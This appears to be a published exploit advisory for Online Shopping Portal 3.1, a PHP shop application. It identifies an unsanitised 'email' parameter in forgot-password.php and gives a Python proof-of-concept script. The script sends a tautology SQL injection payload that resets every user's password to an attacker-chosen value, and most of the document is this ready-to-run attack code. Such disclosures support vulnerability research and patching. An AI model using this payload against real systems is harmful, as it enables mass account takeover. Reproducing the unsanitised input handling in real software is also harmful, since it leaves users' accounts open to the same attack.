Online Shopping Portal 3.1 SQL Injection

`# Exploit Title: Online Shopping Portal 3.1 - 'email' SQL Injection   
# Date: 2020-07-06  
# Exploit Author: gh1mau  
# Team Members: Capt'N,muzzo,chaos689 | https://h0fclanmalaysia.wordpress.com/  
# Vendor Homepage: https://phpgurukul.com/shopping-portal-free-download/  
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=7393  
# Version: V3.1  
# Tested on: PHP 5.6.18, Apache/2.4.18 (Win32), Ver 14.14 Distrib 5.7.11, for Win32 (AMD64)  
  
Info:  
-----  
[+] Attacker can change all user's password from the forgot-password.php page and login to their account.  
  
Vulnerable File:  
----------------   
/forgot-password.php  
  
Vulnerable Code:  
-----------------  
line 8: $email=$_POST['email'];  
  
Vulnerable Issue:  
-----------------  
$email=$_POST['email']; has no sanitization  
  
  
  
POC:  
----  
  
import requests  
  
url = "http://localhost:80/shopping/forgot-password.php"  
  
password = "gh1mau"  
payload = "email=saya%40saya.com' or '1'='1'#&contact=1234&password=" + password + "&confirmpassword=" + password + "&change="  
headers = {  
"Origin": "http://localhost",   
"Cookie": "PHPSESSID=pq2dc9oja60slrifcfjuq7vhf0",   
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",   
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0",   
"Connection": "close",   
"Referer": "http://localhost/shopping/forgot-password.php",   
"Host": "localhost",   
"Accept-Encoding": "gzip, deflate",   
"Upgrade-Insecure-Requests": "1",   
"Accept-Language": "en-US,en;q=0.5",   
"Content-Length": "96",   
"Content-Type": "application/x-www-form-urlencoded"  
}  
  
response = requests.request("POST", url, data=payload, headers=headers)  
  
print("[+] Try login with password : " + password)  
`